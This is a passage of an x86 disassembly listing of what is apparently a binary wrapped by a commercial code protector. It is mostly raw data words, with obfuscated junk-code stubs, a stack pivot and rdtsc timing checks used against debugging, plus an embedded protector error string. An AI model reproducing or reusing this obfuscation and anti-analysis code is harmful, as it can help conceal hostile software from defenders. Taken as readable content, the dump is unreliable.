0C30E41Fh, 8A367EB9h dd 1FD3A1B2h, 74ED9145h, 0F082DBC8h, 12A45815h, 3FB6495Eh dd 41D32C7Bh, 0CF484DEAh, 0D3659A0Fh, 0C2D2AA56h, 0B16525F2h dd 0E770E90Dh, 20ED5AB1h, 23472B25h, 10090287h, 84FBAF1Ch dd 9F60450Dh, 0BE416428h, 0A1B18C2Ch, 0D1D71FD3h, 0B3F7B730h dd 0F014BC4Eh, 70251279h, 0F6DA4BF7h, 0AB5F15F5h, 0C8377232h dd 0F16A8E36h, 0F887931h, 17A9564Fh, 47D44B6Fh, 0BEE21F87h dd 47F37C5Bh, 1FD3A16Fh, 942A4E02h, 0F114B0C5h, 137E8h dd 92A27500h, 0D07C9AFDh, 1FD3A1FBh, 7C9F02BAh, 6607A09h dd 9CFF94A2h, 0E4A3467Ch, 0F0FEE857h, 74986740h, 91A29F06h dd 0FB6299FCh, 94B06A5Fh, 56C3F3h, 7C500000h, 8315ECBCh dd 0D264B7DBh, 0F37C5EC1h, 0FA8C7533h, 0A1DEB652h, 0BD711FD3h dd 9F742099h, 0EC1FD3A1h, 0F0827D2Ch, 36AD2248h, 0E7249549h dd 0D7548AC3h, 0B2A6396h, 7CC326CAh, 90654509h, 39C8DE15h dd 0B75BFFA7h, 0EABC7C54h, 0B9DD8517h, 3DDAD33Ah, 63000000h dd 9CFF94A2h, 0A1FBD07Ch, 0BF481FD3h, 0BC58A9FFh, 1FD3A1E4h dd 989FC377h, 1A767E0h, 0A64AB5F4h, 0C0C2EA14h, 0E65E87Eh dd 7CE3466Ah, 88A1BDF3h, 0FBC1F141h, 654574D7h, 0F76399Ch dd 94B06A5Fh, 2FC3F3h, 0A2500000h, 4D83FC91h, 72AC42AEh dd 0E94C70CBh, 0A1FBD07Ch, 0D4881FD3h, 45097C71h, 763C9F60h dd 0ECC470F9h, 7F1FD3A1h, 0DA44A7CBh, 32h, 0FC91A263h dd 0EBBC7C99h, 0B4DA8214h, 0E97953F9h, 56CFF39Bh, 0F7A397CDh dd 770906ADh, 0A539A9CFh, 0AE831F43h, 6D1FD2B8h, 97C52B5h dd 3C9F6045h, 0B6DA0F76h, 63FFFFFEh, 870095A2h, 0F5F77EDBh dd 0EE671B15h, 5E847B2Eh, 3139913Dh, 0AE274BA8h, 18F09C25h dd 0BE25F62Fh, 0FE68118Ch, 0FC3FCE0h, 936C3BEBh, 1180B51Ch dd 34DBD898h, 5DD6FAA2h, 0F5D7D9B1h, 26B86C25h, 0F5D7B086h dd 3F9F1E25h, 4972BDFCh, 255009h, 7C70000h, 25CD5FA0h dd 85599E01h, 0D01FD3A1h, 466A9510h, 77EE1196h, 0BB48h dd 0C585BB00h, 0B0F8B591h, 7C75D8FCh, 5EF99A46h, 8AAE5308h dd 0CB80037h, 1FD33E34h, 0F66F13C7h, 0F029FD4Ah, 4DC67A15h dd 6DE61B8Dh, 0E004FDADh, 0FE03A569h, 6322156Ch, 842CBE43h dd 1EDE67E0h, 3BE3758Ch, 0BE267B17h, 0FFB31C14h, 1FE2C686h dd 3DC4E4A8h, 386E2EABh, 7216EBBDh, 0C11438E0h, 649A1376h dd 9007086Bh, 0CB4468AEh, 3767A61Fh, 0E873B22h, 2FA6594Eh dd 0EFB73C6Bh, 34D88012h, 4EFC70CDh, 1837CDE4h, 0B1Dh dd 970EF3B9h, 0B62DD2D3h, 0D249B8F2h, 0ED649B0Eh, 0D847D29h dd 0A8FE07C1h, 951EE259h, 693F037Ah, 4A5D2198h, 0FC753EB5h dd 0B1397850h, 60D30B19h, 0B9D6245h, 1DAF5057h, 0D7972099h dd 0F8A032CFh, 0D3A1845Ch, 3F63171Fh, 0A0071AC4h, 7B3EE85Fh dd 92F094B8h, 4Dh, 95A21Fh, 8E36DB87h, 0E3A315F0h, 4AC3EC3h dd 61F3A7E0h, 0C773AEE4h, 4EBF4F7h, 887730E0h, 3F40D90Fh dd 0AE9ECDAh, 8CB04F5Ah, 0A9565115h, 1277C017h, 0B8A0ED99h dd 941D1C0Fh, 11F810E8h, 0C9EFA32Ch, 9AA870D2h, 85FCA083h dd 9F60450Eh, 0BF426626h, 9374249Bh, 0F81FD3A1h, 6B8F7238h dd 9D14EDBBh, 138C0136h, 0F5F6EB67h, 59D28615h, 0C39B47D0h dd 5625F5F5h, 0DCCE7EA2h, 0EB21AE25h, 0EC680BEAh, 87EA0ED7h dd 14B01A5Fh, 173B3F1h, 7C400000h, 0A16F47F3h, 0DC151FD3h dd 8005E14h, 40B96DA6h, 0D331BC94h, 779B4F1Fh, 27B1024h dd 7996842h, 7CD83B5Fh, 0E6BE6AF3h, 791FD3A1h, 3005A1C5h dd 0EF1FD3A2h, 97CD437h, 0A206607Ah, 879CFF94h, 0FDD5810Ah dd 191FD3A1h, 883C759Ah, 31EE0562h, 80A4DA58h, 0BB467C1Dh dd 0B2ED3F20h, 9F94E70Bh, 0A234CBDEh, 0FDD581FAh, 901FD2AFh dd 62D538DCh, 0B06A5FFBh, 36C3F394h, 50000000h, 0A7D94A2h dd 82BC684Ah, 7C379A3Eh, 0D3A1FBD0h, 0EBC8881Fh, 7C1D8024h dd 47F37C09h, 1FD3A16Fh, 7A2A4E02h, 1CE5C530h, 22C6396Ch dd 0DA0F76BFh, 22h, 0FF94A263h, 0E9BC7C9Ch, 0B8DC8416h dd 0A1BE933Fh, 0C57D1FD3h, 45097C62h, 76399C65h, 946D39F9h dd 6A5F0D70h, 0C3F394B0h, 59h, 0D02F7A3Ah, 0F72963Eh, 0B5F091A2h dd 799683Eh, 9E17BB5Fh, 0BEB4C9DEh, 0A4AC3A56h, 5E0026CAh dd 0AB4A1A3Bh, 7CE14468h, 0D3A1FBD0h, 53FF881Fh, 1FD3A17Bh dd 3DB65A0Eh, 0C5E2B107h, 0E5091BEBh, 47F37C82h, 1FD3A16Fh dd 0B12A4E02h, 9F60453Eh, 0DA0F763Ch, 37h, 0FC91A263h dd 0EDBC7C99h, 0C975EE12h, 1FD3A1F4h, 0D4B079B3h, 9EDC20CAh dd 467C97FAh, 3903F777h, 1A93B7A5h, 4FB15B91h, 53798623h dd 42660456h, 9F6045DFh, 0DA0F763Ch, 0FFFFFE84h, 0F495A263h dd 16BE50BFh, 0B070F972h, 0CF7709F8h, 0F6B20FABh, 9B4F15F5h dd 0B8476222h, 0E15A7E26h, 2798621h, 0C8EB9A9Bh, 0F42AA347h dd 63CFBA83h, 0CC456906h, 0F5DC4820h, 9527DB25h, 0F5DD1FF5h dd 0D00E8D25h, 497D2E6Bh, 18BF09h, 594C0000h, 1FD3A185h dd 0C4E50E99h, 0B3F5A93Bh, 8F06AA4Eh, 11660h, 95A2E900h dd 0C8518700h, 0AE45214h, 2F99711Dh, 782C1FD3h, 8B37B0D4h dd 15F0440Ah, 8F9AF6Fh, 71AACE76h, 6307F8B1h, 81802AEAh dd 139747EFh, 90B45CEEh, 59058E17h, 25F24281h, 20439A27h dd 942DF38h, 0FE03A555h, 0F0A0C46Ch, 0ED249B8h, 0EE6929Ah dd 0A125F1C2h, 47D049EDh, 6989E111h, 2ECA1232h, 25F1BD56h dd 7F1135E9h, 17A0F28h, 0BDF4CC78h, 0D38725F1h, 318A36AFh dd 0C61C1413h, 6152A106h, 0ED660AAEh, 2C7A7B2Dh, 2DBA31D5h dd 35C7386Dh, 33CCDD8Dh, 25D5F9A1h, 7C057E83h, 126F47F3h dd 4E022C14h, 1412DAB2h, 0FBAD6D2Ch, 28CC7406h, 1C1B7204h dd 0DB540079h, 70223665h, 31BA43BCh, 6524FCA8h, 3B73236h dd 36648F67h, 4A6E2232h, 7BF20D9Ah, 0A80FF0B7h, 0E44FFA1Bh dd 76E9089Eh, 12000007h, 2CF0679Ah, 4B0F8679h, 672BA25Fh dd 8246BD42h, 1A66DD24h, 0B8495D60h, 0D9367D41h, 0F70A9E62h dd 14EBBC80h, 0AF5BD49Dh, 19B135D7h, 45BF326Ah, 64249D62h dd 0EF1B44Fh, 9E30D47Ch, 8C40D2F6h, 0EFB0621Bh, 0A22540BCh dd 0A64AB5F2h, 8E179014h, 0D2AA0AE2h, 0C5E99D1Fh, 1A8D944Ah dd 37E36CE5h, 1FD2A95Fh, 0A31A3EF2h, 9444A0F9h, 394DF0h dd 0A2DA0000h, 0FE870095h, 0A1F1C975h, 0FB841FD3h, 0D3A1774Fh dd 0B2560A1Fh, 95DDF28Eh, 346A15F0h, 9B0BDFh, 0EA7C2095h dd 0F2C8764Ah, 815DDC25h, 7465FFBAh, 3C0E09h, 0A29B0000h dd 0DB870095h, 15F0BDE2h, 8A4AC377h, 0A74FE120h, 6A3DF183h dd 95D2089h, 6AA52999h, 0F9A133D7h, 8D1ADE55h, 0AE89E072h dd 35B662DBh, 0DA1C108Ah, 0BAEDAD26h, 0E70BB345h, 89EBF970h dd 1393F245h, 48D14AEEh, 402BB412h, 40649206h, 0F05DEBA4h dd 26804015h, 0CAE8B059h, 6307EC89h, 0BF52063Fh, 0C820E81Fh dd 2D7D3D65h, 258E42D4h, 0CB058EAh, 23B54C5Ch, 3304577Bh dd 4C39E55Eh, 0C9DC8500h, 0BD619E09h, 2E63D42Bh, 396809B5h dd 97CDE2A4h, 0A07C34FEh, 0E51E420Fh, 6F2FB831h, 0F7A7CB44h dd 14D84FB0h, 74056C93h, 0F124FF08h, 6173C5Bh, 0F9B30000h dd 0D8CD9108h, 0BEECB027h, 0A108CC43h, 8323E75Eh, 1BB077Eh dd 0E057AAFCh, 178971Ch, 1F966B3Dh, 3CB34C5Bh, 764EFA73h dd 919B134h, 62455ED1h, 0A1441CC8h, 45601FD3h, 478028BAh dd 0E05DEF93h, 0A1D3AB57h, 0B2661FD3h, 35CCDE8Eh, 0ADE057BEh dd 0F72F8834h, 0C48415F5h, 0E58D1FE2h, 42D488C1h, 7EE51C8Eh dd 0F00F6CE5h, 0A6ABCA60h, 42000005h, 5C20976Ah, 7B3FB649h dd 975BD22Fh, 0B276ED12h, 4A960DF4h, 0E8198D90h, 906AD71h dd 27DACE92h, 44BBECB0h, 0DF8B04CDh, 19B13407h, 0A2EF629Ah dd 4FB2F495h, 0F87115BDh, 0F5F6F74Ch, 57D08415h, 0CDF10E97h dd 0A8FEBE3Bh, 25853559h, 6B3075DCh, 0B74DF00Fh, 54C98h dd 3DC4E800h, 5CA302C6h, 788921E5h, 936C3D01h, 0B34E581Ch dd 2F36F03Ch, 4F138A77h, 7034AB64h, 8E52C938h, 0A66FE619h dd 33A9812Dh, 43C19B1h, 0EABC7C91h, 0B9DD8517h, 43BCD166h dd 0F5F74697h, 56028B15h, 25F5F67Eh, 0F64D25D1h, 2CE025F5h dd 0E21B3FF3h, 0D87C8322h, 0E9189246h, 0F6C1582h, 9BBA50F0h dd 4E5h, 5FD62B81h, 7EF50A9Bh, 9A11F0BAh, 0B52CD3D6h, 0D54CB5F1h dd 0E0C6CF89h, 0CDE6AA21h, 0A107CB42h, 8225E960h, 0C43D067Dh dd 0B1334018h, 289BD319h, 1CC86245h, 1FD3A144h, 6F9017D7h dd 0EEAE27CBh, 94264AC5h, 7A2CC7E0h, 0AA6AE387h, 0E08C05FCh dd 1FD3A208h, 31C3E79Bh, 0DB469827h, 0F8BC33CCh, 0F7CF7BAFh dd 8A1FD3A1h, 23A032D6h, 9875DAEDh, 98BC01BEh, 0D37927FCh dd 8D51CC1Fh, 73EC1394h, 78663EEAh, 45F91FD3h, 0F443AA21h dd 0C2C8241Fh, 0E084A476h, 0FE72BB67h, 33E715F4h, 52ADFABAh dd 0CCA450D9h, 5F25F4FDh, 4C1087ABh, 0BB12A45Bh, 0F4A0197Ch dd 1C175258h, 6C63FF3h, 23E75EA1h, 6CE97B84h, 525F37E3h dd 69F22C17h, 1752E5BDh, 20C4782Ch, 0FB8EA9FCh, 3221D682h dd 0FAAE2234h, 4FF7FE93h, 0A2C157E4h, 3F9h, 73EA1795h dd 9209F6AFh, 0AE25DCCEh, 0C940BFEAh, 0E960A105h, 0CCDAE39Dh dd 0B9FABE35h, 8D1BDF56h, 6E39FD74h, 0D8511A91h, 0B132542Ch dd 3CAFE719h, 2D5A467Ch, 261C001Eh, 0AA555202h, 52129B18h dd 3A12AE61h, 0CD1FD302h, 6245F519h, 78BF269Dh, 53139C15h dd 731BAD52h, 0A9EB34Fh, 772B15F0h, 97145E5h, 58D725F2h dd 20E4B586h, 3C090975h, 96000000h, 870095A2h, 0F08136DBh dd 9D2FE315h, 0F2C229FDh, 97683D25h, 0AB545105h, 914DD819h dd 1FBF3E9Ch, 0D62C0339h, 0C8194C4Ah, 69DFD41Bh, 0C7EB8FBBh dd 74BE6831h, 0C28509h, 45120000h, 8E0B9D62h, 0A1815905h dd 60141FD3h, 0E71A8C3Ch, 0F906A155h, 0BF4B367h, 0A651E494h dd 40671FD3h, 238448BFh, 0DCD4ADCh, 0EF42669Bh, 20CC4548h dd 15F0BAF7h, 0DA41B86Ch, 0DFB7635Dh, 7225F2B9h, 0F5A11ABEh dd 1C142A1Ah, 548A03B7h, 289C489h, 5DD6FA82h, 0EB9414D4h dd 4D6F82F3h, 0C3E78BDAh, 0ED999313h, 2C140815h, 0D950F4A8h dd 9709115h, 0FA6D5DC6h, 0CE0E2DC3h, 6A000002h, 8448BF42h dd 0A367DE21h, 0BF83FA07h, 0DA9E15EAh, 72BE35CCh, 10F1B5B8h dd 31DED599h, 4FB2F6BAh, 6C9314D8h, 7B32CF5h, 19B1312Fh dd 45178AC2h, 0B3C81E61h, 5F059D6Ch, 7608F9AFh, 0EFB32ACEh dd 59D047B8h, 870095A2h, 8238F851h, 1250BD7h, 0B6C9FF88h dd 0C02644F2h, 0A33097D2h, 25C942ABh, 7EC06501h, 0AD6D15F0h dd 0CC7406FBh, 0BECFA753h, 0AE6225F2h, 5C08910Ah, 25F2BE84h dd 0AD3F6317h, 0F2BE390Dh, 0BE209F25h, 745F3C7Dh, 0BBD109h dd 7C5E0000h, 0EDC10946h, 912273AEh, 0A044EC7Eh, 6EA37B27h dd 82361FD3h, 6F9AE5Eh, 1BE6C074h, 7356E989h, 3B6C1FD3h dd 1E894DC4h, 3FF84FE1h, 0F599683Eh, 88A7D07Ch, 681C15F0h dd 0E8AD8AF1h, 0F583C36Fh, 72261C13h, 936C39F9h, 7036F66Fh dd 578D1A91h, 3D6B5F61h, 1CB19EC4h, 8F19C335h, 9D412B3Bh dd 24DDC979h, 6DD4F0BDh, 0B8D76DFAh, 1C9h, 43BA4765h, 62D9267Fh dd 7EF50C9Eh, 9910EFBAh, 0B930D1D5h, 0FCAAB36Dh, 0E9CA8E05h dd 0BDEBAF26h, 9E09CD44h, 0A821EA61h, 0B13124FCh, 0C7FB719h dd 1FCB6145h, 1FD3A147h, 0CDA551DAh, 601FD3A1h, 0ED6408ACh dd 0A817E29h, 9D624593h, 0AF50570Bh, 4E66D138h, 0A14119C5h dd 20D41FD3h, 0D3A1AC84h, 0E78B3F1Fh, 95ADC26Eh, 7A3A15F0h dd 9840D22Dh, 0EEC262F4h, 5425F2D4h, 0C64F09D5h, 0F2D4421Ah dd 0FD21D525h, 74751267h, 30BB09h, 0A2480000h, 0B0DB7E95h dd 9A65929Fh, 64D17DF6h, 0A115F06Dh, 6D72F16Bh, 7A9E685Eh dd 5BFB8D41h, 25F25187h, 0CB706EEDh, 975EC8Eh, 2A1Fh, 0BC7CAC00h dd 0D88012EDh, 0A14318B4h, 81B61FD3h, 1EE7930Ch, 5315F0BDh dd 5AEC1593h, 0A1558EB2h, 3486F228h, 0E487D6D2h, 0A2D249C0h dd 0A77F2B95h, 0C31FD3A1h, 20E019E6h, 3FE77988h, 0D27EF79Bh dd 15F0B109h, 0BB38CA7Eh, 3054ADFBh, 0F2B0C094h, 37A72625h dd 7449B504h, 255809h, 59E50000h, 1FD3A185h, 0CB7741F6h dd 1FD3A1F3h, 0B52ED286h, 0C6396C2Ch, 0CC688C34h, 15F0BD03h dd 11F0B878h, 0A27FF66Dh, 0DB870095h, 15F5F72Ah, 0C282FBAFh dd 65F71BE6h, 0ACFDF6B1h, 7519C153h, 926D3AFEh, 0E5C38300h dd 0E4AF61Ch, 0CA11CC0Eh, 0D4FF0AA6h, 20AF3B6Ah, 0BB4463BEh dd 822EB744h, 4B8D13AAh, 0CED9893Dh, 0D3F79F31h, 0E97B8423h dd 277F7435h, 13815905h, 60144B8Dh, 0D28618BCh, 0E79B2DD4h dd 70AF41BEh, 0A230FDE1h, 4166BB23h, 248347BEh, 0FB2C62DBh dd 986A7748h, 1AE5C272h, 2ABCE088h, 80Bh, 2AA79400h, 0A2C6496Ah dd 9A67453Fh, 0AC535408h, 0BF42661Ah, 0D53A792Dh, 0EA178F43h dd 0FF02A458h, 0FF0B96Dh, 20E1C97Dh, 34CBDA8Eh, 676886A2h dd 89000073h, 0E0892404h, 405h, 4E88300h, 5C240487h, 0E4968h dd 24148900h, 536668h, 24048900h, 473875BAh, 7DBD556Fh dd 296924E2h, 8B545DEAh, 0C4812404h, 4, 8904EC83h, 408F2414h dd 24048B08h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop edx add esp, 4 jmp loc_535A7A ; --------------------------------------------------------------------------- db 28h dd 2273CEB8h, 0FFC50306h, 81D9F0E0h, 3E989179h, 0D75E120Dh dd 0DF0D2202h, 8EA0FF0Bh, 7024F257h, 0CC35FA15h, 0C73BDC7Ah dd 715E136Eh, 335BC933h, 49EC1805h, 15CD4C2Fh, 0C3BC2102h dd 89FE0207h, 4E06F906h, 0E2C0440Ah, 0DD42C75Fh, 0D3A58B23h dd 0CB8E7475h, 0D79F8A61h, 0BAEE7978h, 13E85Ch, 2DEC0000h dd 0A384EC47h, 0A23BBF49h, 5F91671Dh, 0A0030769h, 13E92Dh dd 47EB0000h, 2685D34Ah, 0D1015957h, 0B3A39FAh, 6DB58F68h dd 810F5E0Fh, 2, 0C681D08Bh, 5FDAh, 68F8BF0Fh, 0 dd 19820Fh, 11E80000h, 0F8000000h, 49461A3Eh, 0EAAF0324h dd 0B5E0A3CDh, 8AC30358h, 5958C38Bh, 2DEF8166h, 3134FF1Fh dd 9E9h, 37200F00h, 2219812Fh, 665B4374h, 0EB81FB8Bh, 6F3ED477h dd 81D1B70Fh, 129CA2EBh, 3C28135h, 816DF068h, 381EC1C3h dd 0E1C8979h, 28F6D281h, 0AE96EC3h, 6D000000h, 0BC1E472Fh dd 94495640h, 4E98354h, 0A110F981h, 850FFFFFh, 1Ch, 0BE953h dd 9FBE0000h, 0CF081855h, 5C6FEDEAh, 19E95F44h, 0A0000000h dd 9F94CA40h, 0A604BA66h, 0FFFF84E9h, 0C63281FFh, 318942C0h dd 4675E10Ch, 400E9h, 0 dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0) dd 5600h, 4500h, 0 dd 11DFE900h, 8BF50000h, 1F1BE585h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 1A320D8Dh dd 0B05D5282h, 8960A7DDh, 1F067D95h, 5D958906h, 61061F0Dh dd 4244439h, 5B850Fh, 95890000h, 61F0DA1h, 32C1BD83h, 0F00061Fh dd 4884h, 5BD0100h, 8D061F20h, 1F394D85h, 0A8E0F06h, 0E9000000h dd 5, 22648A01h, 0FE0FFD1h, 1986h, 10E96000h, 98000000h dd 0C7181AD0h, 0F231971Fh, 0A03881ECh, 608D9E48h, 6E96161h dd 74000000h, 68875A88h, 51858B2Bh, 0F8061F2Ch, 4244439h dd 15850Fh, 0C7F80000h, 22798985h, 106h, 66506000h, 587557BBh dd 6061F28Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 5CC35141h, 0EE9h, 0D5B22800h, 25DEAB2Eh, 0DA52C1EEh dd 1E9D7E8h, 1F133D9Dh, 25E906h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 7ACD1C3h dd 4BDDACh, 0B8000000h, 1, 7AB38587h, 0C00B0622h, 0B5FFF675h dd 61F2025h, 7981858Fh, 206A0622h, 95FFFF6Ah, 61F14F9h dd 316DBD83h, 7400061Fh, 0FF006A08h, 1F1D4595h, 0CDBD8306h dd 1061F09h, 80680D74h, 6A000000h, 0F995FFFFh, 6A061F14h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 3FD9C350h, 15EAC77Dh, 3D66021Ch, 11890Fh dd 0CE90000h, 0AC000000h, 8107072Dh, 0FD647B81h, 0E9A44FE0h dd 12h, 0DA614D73h, 53D8FCE5h, 0E3DC2A42h, 0BC3119FEh dd 8D89629Dh, 61F146Dh, 0B8h, 68A0F00h, 89000000h, 1F2E1195h dd 24548B06h, 0BE928h, 91BD0000h, 0BF607675h, 90123F88h dd 6D8589CDh, 6A061F10h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 0ECAEC352h, 9860Fh dd 8B600000h, 1F02F58Dh, 0BE61F906h, 3Ch, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 14h, 0D1C35545h, 2005B501h dd 7403061Fh, 6A2424h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 2E23E9C3h, 13E989h, 0C6960000h dd 6FC62B6Ch, 25B1C1BFh, 3B9050F7h, 81ACEB7Dh, 1840FF8h dd 0F5000000h, 6AAD66h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 65255C3h, 0F96FF7AAh, 24244403h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 89C35040h dd 0E9BE0C18h, 9, 3C6DD081h, 0BC30F84Eh, 52509012h, 0EE9h dd 4A969A00h, 0F70FD15Ch, 0C8E297BAh, 0FADA083h, 0B810F31h dd 0E9000000h, 6, 0F94CB0E6h, 585ACC9Eh, 0E9525050h, 0Eh dd 2FBF9D53h, 68286FF9h, 0EE888882h, 310F6E2Eh, 0D98B6660h dd 61D18B66h, 6A90585Ah, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 31EBC357h, 1F32C995h dd 78408B06h, 89BD83F9h, 62279h, 152850Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 1B9F04C3h, 0F63540F1h, 0FE960h, 0DE4F0000h, 0E5734561h dd 9D99303Bh, 0C7076D7Dh, 605061D4h, 52505250h, 585A310Fh dd 0C5BE310Fh, 5A58DF56h, 9E95158h, 28000000h, 28C2A3E7h dd 441502E5h, 4896159h, 6E924h, 5D000000h, 0B9660666h dd 0D799589h, 448B061Fh, 6A2C24h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 90F914C3h, 10E9h, 0EC0F4000h dd 0DEB1C8Ch, 0CC9BF650h, 43C8384h, 8B6050C1h, 0FE9F2h dd 6FA80000h, 80E8CDA1h, 0D479C5ADh, 0A0AC1CBFh, 6A90617Ch dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 7E4BC356h, 0C0F5E0E3h, 89F90EDBh, 1F2DF985h dd 0E880F06h, 60000000h, 23218589h, 858B061Fh, 61F2F25h dd 5858D61h, 6A062253h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0EC9DC350h, 0D0FFF93Ah dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 5AC35747h dd 8966EE30h, 1F1F35B5h, 18A0F06h, 0F5000000h, 28244403h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 77C35040h dd 408B2C70h, 2940F818h, 1F0005B5h, 0AE906h, 9BA10000h dd 11A84CD1h, 0C02A3E08h, 79858589h, 6A0622h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0F8051AC3h dd 880F58F8h, 6, 159DB589h, 708B061Fh, 0E5858978h, 83061F0Ch dd 6A1CC6h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 0F6043C3h, 0DE9FBB7h, 9A000000h, 93273E4Fh dd 0F0C024B8h, 602E08A1h, 8B0F9661h, 6, 2E1D8589h, 7C81061Fh dd 2424h, 870F1000h, 14Ah, 6E9h, 739AA400h, 509393B0h dd 0CE95250h, 8F000000h, 95DB3D1Ah, 52323534h, 0FB15D2Dh dd 0CE931h, 9EB40000h, 0F1B362C1h, 0D53648C8h, 585AF08Ah dd 6A240489h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 5D40C350h, 448BBF26h, 95892824h dd 61F2EF5h, 12810F50h, 0E9000000h, 0Dh, 100A1A2Ah, 0A9F794A2h dd 9C793D40h, 24048931h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0BBC35545h, 0B0363D97h, 60918A7Ch, 5E9h dd 0FBE2D000h, 5E87DFDh, 6B000000h, 0CA423373h, 0DE9h dd 0FBFF6100h, 6E458A38h, 5FD3C473h, 615A823Bh, 5305858Dh dd 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 3F72CBC3h, 9D89B45Ch, 61F1F35h, 0EE9h, 2A8FB700h dd 0CD715E7h, 46B1104Fh, 60FDC756h, 7D858B53h, 58061F0Eh dd 6810Fh, 840F0000h, 0 dd 6AD0FF61h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 88B9C355h, 46BB64E9h, 286687C8h dd 1285BD89h, 6A96061Fh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 896EC350h, 1F14E1B5h dd 24740306h, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 68D0F6Eh, 89000000h, 1F11F585h, 95BD8D06h dd 89061F24h, 1F10C1BDh, 860FAD06h, 8, 2880Fh, 61600000h dd 13718D89h, 7C81061Fh, 2424h, 870F1000h, 144h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 24C35545h, 0DACCB176h dd 0BD09DE62h, 61F1A65h, 0C890F90h, 0F000000h, 68Ah, 850F00h dd 50000000h, 0EE960h, 9A120000h, 8E7C9491h, 4D0D9697h dd 0BDE963CBh, 0BE9h, 0C45CEF00h, 47FF1DAAh, 567EF4AEh dd 0CE99061h, 5E000000h, 0E32A333Bh, 21BE00ECh, 8B08A23Ch dd 6A282444h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 0CD36C355h, 319AB237h, 31E87A7Fh dd 1F31298Dh, 890F5006h, 0Ah, 61605250h, 6160310Fh, 489585Ah dd 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 0E959ED84h, 12h, 14A69284h, 73A2A999h, 8EC9E158h dd 0FBA440FAh, 858DC52Fh, 6225305h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 44C35747h, 0F5F839A8h, 1E058589h dd 9D29061Fh, 61F14ADh, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 2C10B4C3h, 0FFBF6D65h dd 0F98FD489h, 24244403h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 91C35242h, 0F009AFBh, 18Fh, 89ABF900h dd 1F2E8D9Dh, 0FA8106h, 0F000100h, 72982h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 0FB623912h, 0F712B7Dh, 687h, 0CDBD8900h, 8D061F24h dd 1F2CE5BDh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 0F08D8FBh, 0A3D57924h, 29F82EA8h dd 1F24898Dh, 6AAD06h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 0FB7166C3h, 0B1F5D3BAh, 9E9C431h dd 0C4000000h, 7929F122h, 0DB2D1860h, 0CBD8589h, 7C81061Fh dd 2424h, 870F1000h, 0DBh, 6840Fh, 0B5890000h, 61F19A9h dd 0BE950h, 6FB40000h, 7BE89E3Dh, 255FFDFDh, 24048995h dd 0A6C08160h, 617C050Ah, 17BE6660h, 448B617Ah, 6A2824h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 80B471C3h, 6BF0AAF9h, 0E8605043h, 14h, 3D1BABB1h, 48E8C592h dd 5AF950D6h, 96B4EF9Eh, 0EE1E293Ch, 310F5250h, 0BB5E585Ah dd 4FD81850h, 24048961h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 0C8C35646h, 0AA1ECD27h, 9D898AFFh, 61F23F5h dd 15C58589h, 8DF5061Fh, 22530585h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0B589FC7Dh dd 61F1CE9h, 3F5D0FFh, 0F242444h, 1384h, 0EE900h, 14AD0000h dd 176EA19Eh, 507A1729h, 3FA587DDh, 0CE990h, 36330000h dd 6AC8539Eh, 89CC0E81h, 0F502A6Bh, 0F82h, 0AE900h, 0C1BB0000h dd 1834D295h, 866C13D1h, 0F59D8990h, 60061F31h, 725D5AB9h dd 6870F74h, 8B000000h, 1F004195h, 6AAB6106h, 3E85500h dd 20000000h, 895DC35Dh, 